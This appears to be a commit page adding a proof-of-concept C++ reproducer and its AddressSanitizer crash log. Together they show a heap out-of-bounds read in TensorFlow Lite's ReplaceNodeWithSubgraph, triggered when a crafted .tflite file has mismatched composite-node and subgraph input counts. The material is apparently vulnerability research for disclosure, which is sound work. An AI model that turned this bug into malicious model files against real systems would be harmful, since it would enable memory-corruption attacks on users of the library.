Upload 2 files
Browse files
poc_stablehlo_composite_asan_output.txt
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
node_inputs->size = 1 (heap-allocado con exactamente 4 bytes de 'data')
|
| 2 |
+
subgraph->inputs_.size() = 5 (el subgrafo de decomposicion declara mas inputs que el nodo composite que lo invoca)
|
| 3 |
+
|
| 4 |
+
Ejecutando el bucle EXACTO de ReplaceNodeWithSubgraph (subgraph.cc:2290-2309):
|
| 5 |
+
i=0 -> leyendo node_inputs->data[0] ...
|
| 6 |
+
i=1 -> leyendo node_inputs->data[1] ...
|
| 7 |
+
=================================================================
|
| 8 |
+
==6547==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000018 at pc 0x5b045ec4e8c6 bp 0x7ffc6fe61060 sp 0x7ffc6fe61058
|
| 9 |
+
READ of size 4 at 0x602000000018 thread T0
|
| 10 |
+
#0 0x5b045ec4e8c5 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:66
|
| 11 |
+
#1 0x7da894831f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 12 |
+
#2 0x7da894832026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 13 |
+
#3 0x5b045ec4e270 in _start (/tmp/poc_composite+0x2270) (BuildId: cc91f1614b494915fcab0fb2863e329213390931)
|
| 14 |
+
|
| 15 |
+
0x602000000018 is located 0 bytes after 8-byte region [0x602000000010,0x602000000018)
|
| 16 |
+
allocated by thread T0 here:
|
| 17 |
+
#0 0x7da894ed85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
|
| 18 |
+
#1 0x5b045ec4e358 in CreateIntArray //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:38
|
| 19 |
+
#2 0x5b045ec4e4e4 in main //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:47
|
| 20 |
+
#3 0x7da894831f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
|
| 21 |
+
|
| 22 |
+
SUMMARY: AddressSanitizer: heap-buffer-overflow //mnt/c/Users/user/AppData/Local/Temp/claude/C--Windows-System32/504df688-824d-4cbf-8ffa-4c275dcb283c/scratchpad/poc_tflite_stablehlo_composite.cc:66 in main
|
| 23 |
+
Shadow bytes around the buggy address:
|
| 24 |
+
0x601ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 25 |
+
0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 26 |
+
0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 27 |
+
0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 28 |
+
0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
| 29 |
+
=>0x602000000000: fa fa 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa
|
| 30 |
+
0x602000000080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 31 |
+
0x602000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 32 |
+
0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 33 |
+
0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 34 |
+
0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
| 35 |
+
Shadow byte legend (one shadow byte represents 8 application bytes):
|
| 36 |
+
Addressable: 00
|
| 37 |
+
Partially addressable: 01 02 03 04 05 06 07
|
| 38 |
+
Heap left redzone: fa
|
| 39 |
+
Freed heap region: fd
|
| 40 |
+
Stack left redzone: f1
|
| 41 |
+
Stack mid redzone: f2
|
| 42 |
+
Stack right redzone: f3
|
| 43 |
+
Stack after return: f5
|
| 44 |
+
Stack use after scope: f8
|
| 45 |
+
Global redzone: f9
|
| 46 |
+
Global init order: f6
|
| 47 |
+
Poisoned by user: f7
|
| 48 |
+
Container overflow: fc
|
| 49 |
+
Array cookie: ac
|
| 50 |
+
Intra object redzone: bb
|
| 51 |
+
ASan internal: fe
|
| 52 |
+
Left alloca redzone: ca
|
| 53 |
+
Right alloca redzone: cb
|
| 54 |
+
==6547==ABORTING
|
poc_tflite_stablehlo_composite.cc
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// FASE 4 - tflite focus-02-core-subgraph.
|
| 2 |
+
//
|
| 3 |
+
// Reproduccion aislada del sink real en Subgraph::ReplaceNodeWithSubgraph
|
| 4 |
+
// (tensorflow/lite/core/subgraph.cc:2290-2309, commit 65857ef50bff3d9d5d2a6ffac49bf5ca72d324a6):
|
| 5 |
+
//
|
| 6 |
+
// for (int i = 0; i < subgraph->inputs_.size(); ++i) {
|
| 7 |
+
// input_map[subgraph->inputs_[i]] = node.inputs->data[i]; // <-- sink real, copiado verbatim
|
| 8 |
+
// }
|
| 9 |
+
//
|
| 10 |
+
// TfLiteIntArray (tensorflow/lite/core/c/common.h:112-128) es un flexible-array-member real:
|
| 11 |
+
// typedef struct TfLiteIntArray { int size; int data[]; } TfLiteIntArray;
|
| 12 |
+
// reproducido aqui verbatim. La asignacion heap de un TfLiteIntArray de N elementos reserva
|
| 13 |
+
// exactamente sizeof(int) + N*sizeof(int) bytes (sin margen) -- estandar para FAM en C/C++,
|
| 14 |
+
// mismo patron que usa TfLiteIntArrayCreate() en el repo real.
|
| 15 |
+
//
|
| 16 |
+
// El "atacante" aqui es el .tflite: node.inputs (tamano 1, el nodo STABLEHLO_COMPOSITE del
|
| 17 |
+
// subgrafo actual tiene 1 solo input declarado) vs. subgraph->inputs_ (tamano 5, el subgrafo de
|
| 18 |
+
// decomposicion referenciado por decomposition_subgraph_index declara 5 inputs) -- ambos campos
|
| 19 |
+
// independientes y arbitrarios del mismo fichero .tflite, sin ninguna validacion de
|
| 20 |
+
// correspondencia entre ellos en subgraph.cc (confirmado por lectura completa en FASE 3).
|
| 21 |
+
|
| 22 |
+
#include <cstddef>
|
| 23 |
+
#include <cstdint>
|
| 24 |
+
#include <cstdio>
|
| 25 |
+
#include <cstdlib>
|
| 26 |
+
#include <map>
|
| 27 |
+
#include <vector>
|
| 28 |
+
|
| 29 |
+
// --- verbatim: tensorflow/lite/core/c/common.h:112-128 (variante no-MSVC) ---
|
| 30 |
+
typedef struct TfLiteIntArray {
|
| 31 |
+
int size;
|
| 32 |
+
int data[];
|
| 33 |
+
} TfLiteIntArray;
|
| 34 |
+
|
| 35 |
+
// Asignacion heap de un TfLiteIntArray de N elementos: sizeof(int) [size] + N*sizeof(int) [data],
|
| 36 |
+
// sin margen extra -- equivalente a como TfLiteIntArrayCreate() reserva memoria en el repo real.
|
| 37 |
+
static TfLiteIntArray* CreateIntArray(int n) {
|
| 38 |
+
TfLiteIntArray* a = static_cast<TfLiteIntArray*>(malloc(sizeof(int) + n * sizeof(int)));
|
| 39 |
+
a->size = n;
|
| 40 |
+
for (int i = 0; i < n; ++i) a->data[i] = 1000 + i; // valores de ejemplo (indices de tensor)
|
| 41 |
+
return a;
|
| 42 |
+
}
|
| 43 |
+
|
| 44 |
+
int main() {
|
| 45 |
+
// El nodo STABLEHLO_COMPOSITE en el subgrafo ACTUAL declara 1 solo input (Operator.inputs del
|
| 46 |
+
// flatbuffer para ESE nodo concreto -- controlado por el atacante).
|
| 47 |
+
TfLiteIntArray* node_inputs = CreateIntArray(1);
|
| 48 |
+
|
| 49 |
+
// El SubGraph DESTINO (referenciado por decomposition_subgraph_index, tambien controlado por
|
| 50 |
+
// el atacante) declara 5 inputs en su propio vector SubGraph.inputs -- perfectamente legal a
|
| 51 |
+
// nivel de schema, nada obliga a que coincida con node_inputs->size.
|
| 52 |
+
std::vector<int> subgraph_inputs_ = {10, 11, 12, 13, 14}; // 5 elementos
|
| 53 |
+
|
| 54 |
+
fprintf(stderr, "node_inputs->size = %d (heap-allocado con exactamente %zu bytes de 'data')\n",
|
| 55 |
+
node_inputs->size, node_inputs->size * sizeof(int));
|
| 56 |
+
fprintf(stderr, "subgraph->inputs_.size() = %zu (el subgrafo de decomposicion declara mas "
|
| 57 |
+
"inputs que el nodo composite que lo invoca)\n\n",
|
| 58 |
+
subgraph_inputs_.size());
|
| 59 |
+
|
| 60 |
+
// --- verbatim: subgraph.cc:2290-2309 (Subgraph::ReplaceNodeWithSubgraph), el bucle real ---
|
| 61 |
+
fprintf(stderr, "Ejecutando el bucle EXACTO de ReplaceNodeWithSubgraph "
|
| 62 |
+
"(subgraph.cc:2290-2309):\n");
|
| 63 |
+
std::map<int, int> input_map;
|
| 64 |
+
for (size_t i = 0; i < subgraph_inputs_.size(); ++i) {
|
| 65 |
+
fprintf(stderr, " i=%zu -> leyendo node_inputs->data[%zu] ...\n", i, i);
|
| 66 |
+
input_map[subgraph_inputs_[i]] = node_inputs->data[i]; // <-- sink: OOB read cuando i >= 1
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
fprintf(stderr, "\nSi ASan no ha abortado ya, el bucle completo (i=0..4) leyo mas alla del "
|
| 70 |
+
"unico elemento realmente reservado en node_inputs->data (indice 0) sin que "
|
| 71 |
+
"nada lo impidiera.\n");
|
| 72 |
+
|
| 73 |
+
free(node_inputs);
|
| 74 |
+
return 0;
|
| 75 |
+
}
|